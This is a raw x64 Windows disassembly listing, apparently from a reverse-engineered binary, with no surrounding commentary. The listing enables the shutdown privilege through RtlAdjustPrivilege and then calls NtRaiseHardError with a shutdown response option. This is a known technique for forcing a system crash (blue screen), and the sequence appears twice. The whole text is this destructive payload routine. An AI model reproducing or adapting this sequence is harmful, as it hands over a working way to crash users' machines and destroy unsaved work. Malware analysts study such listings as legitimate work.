lea r9, [rbp + 0x67]
lea r8, [rbp - 0x4d]
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005a3a0
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004cf84
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtRaiseHardError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtRaiseHardError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret